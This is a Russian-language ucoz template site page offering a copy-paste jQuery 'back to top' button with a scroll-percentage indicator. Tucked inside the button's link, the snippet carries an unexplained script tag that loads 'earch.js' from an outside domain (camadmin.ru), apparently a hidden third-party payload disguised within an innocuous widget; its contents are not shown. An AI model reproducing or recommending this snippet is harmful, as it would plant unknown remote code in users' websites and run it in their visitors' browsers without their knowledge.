Инфо блок
У нас вы можете: скачать шаблоны для ucoz, найти
шаблоны ucoz с рабочим конструктором , скачать
рабочий шаблон для ucoz ,
игровые шаблоны для ucoz ,
шаблон для сайта ucoz на тему cs , или же
ucoz шаблоны бесплатно
скачать шаблон для сайта ucoz
шаблоны кс для ucoz
светлый шаблон для ucoz
шаблон форума для ucoz
Кнопка "Вверх" для сайта, блога или форума
03.03.2013, 14:35
Сегодня я расскажу как вставить скрипт кнопка “Вверх” на сайт ucoz или блок. Эта кнопка будет очень полезна для Ваших сайтов, блогов или форумов с длинными страницами. Данный скрипт не нагружает сайт или блог и достаточно эффективен. В самый низ страницы, перед /body : Код
<!-- <Кнопка Вверх> --> <script type="text/javascript"> $(document).ready(function(){ $("#back-top").hide(); $(function () { $(window).scroll(function () { if ($(this).scrollTop() > 125) { $('#back-top').fadeIn(); } else { $('#back-top').fadeOut(); } }); $('#backop').click(function () { $('body,html').animate({ scrollTop: 0 }, 800); return false; }); }); }); </script> <script type="text/javascript"> $(window).scroll(function(){ var s = $(window).scrollTop(); var f = $(document).height()-$(window).height(); var d=s/f*100; var p=Math.round(d); $("#pix").text(p); }); </script> <div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2"> <center><a title="Вверх" id="backop" href="#top"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><img src="http://bambun.ru/images/ups.png" onmouseover="this.src='http://bambun.ru/images/up1.png'" onmouseout="this.src='http://bambun.ru/images/ups.png'"></a></center> <center><font color="#000000" size="3"> <span id="pix"></span>%</font></center> </div> <!-- </Конец> -->
Скачать новый Кнопка "Вверх" для сайта, блога или форума бесплатно.
Категория: Скрипты, другое | Добавил: startsmart
Просмотров: 296 | Загрузок: 0
| Рейтинг: 0.0 /0
Добавлять комментарии могут только зарегистрированные пользователи.
[
Регистрация |
Вход ]
Инфо блок
У нас вы можете: скачать шаблоны для ucoz, найти
шаблоны ucoz с рабочим конструктором , скачать
рабочий шаблон для ucoz ,
игровые шаблоны для ucoz ,
шаблон для сайта ucoz на тему cs , или же
ucoz шаблоны бесплатно
скачать шаблон для сайта ucoz
шаблоны кс для ucoz
светлый шаблон для ucoz
шаблон форума для ucoz
Статистика
Всего на сайте: 1
Гостей: 1
Юзеров: 0